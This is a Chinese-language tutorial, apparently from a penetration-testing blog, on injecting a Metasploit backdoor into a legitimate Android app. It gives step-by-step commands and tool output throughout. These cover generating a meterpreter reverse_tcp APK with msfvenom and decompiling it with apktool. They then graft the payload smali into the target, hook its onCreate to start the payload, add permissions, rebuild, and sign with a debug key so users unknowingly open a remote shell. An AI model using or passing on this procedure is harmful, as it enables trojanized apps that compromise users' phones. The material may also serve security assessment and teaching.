導語:大多數安卓應用程序都對底層二進位文件缺乏足夠的防護,所以攻擊者可以很簡單的將帶有後門的應用程序轉換為合法的。這就是安卓手機中惡意軟體傳播如此迅速的原因之一。
在移動安全評估中,我們嘗試將一些常用的應用程序載入上後門,並且加上後門之後應用程序毫無異常。這就可以用來證明如果使用的應用程序被種上後門,使用者會毫無知覺。
這一篇文章會通過手工將後門注入到應用程序中。
步驟一:生成攻擊載荷metasploit中的msfvenom可以生成多種類型的攻擊載荷,當然我們也可以使用它來生成一個包含msf後門的apk。
使用如下命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes
步驟二:逆向apk文件
首先,要對目標文件以及剛剛生成的apk文件進行反編譯。使用的工具為眾所周知的apktool。下面命令會將apk反編譯,然後將反編譯出來的代碼保存到一個後綴名為smail的文件中:
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
步驟三:放置後門文件
將從產生的apk中後門文件放到目標文件中,具體內容以及方式如下:
/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage
步驟四:注入hook我們必須檢測安卓應用程序清單文件,這樣可以確定在打開安卓應用程序時進行了那些活動。進而確定我們的後門程序會不會執行:
將下圖中的主函數中的代碼內容用後門代碼替換:
;->onCreate(Landroid/os/Bundle;)V
以下代碼會在程序啟動時,執行後門,以及啟動應用程序:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
步驟五:給予應用程序許可權
為了使我們的後門能夠更有效的工作,需要給予安卓應用程序應有的許可權。可以將這些額外的許可權添加到安卓清單文件中,這樣的話,如果用戶同意,這個應用程序就會給予後門應有的許可權。
步驟六:編譯應用程序
現在我們已經將後門以及許可權設置注入到目標應用程序當中,我們要對源代碼進行編譯,同樣使用apktool。
java -jar apktool.jar b /root/Downloads/original/
如果apk為簽名,那麼apk將不能在手機中安裝。默認的安裝的調試簽名可以在這使用:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey
當用戶安裝並且打開存在後門的應用程序時,我們就會得到meterpreter返回的會話: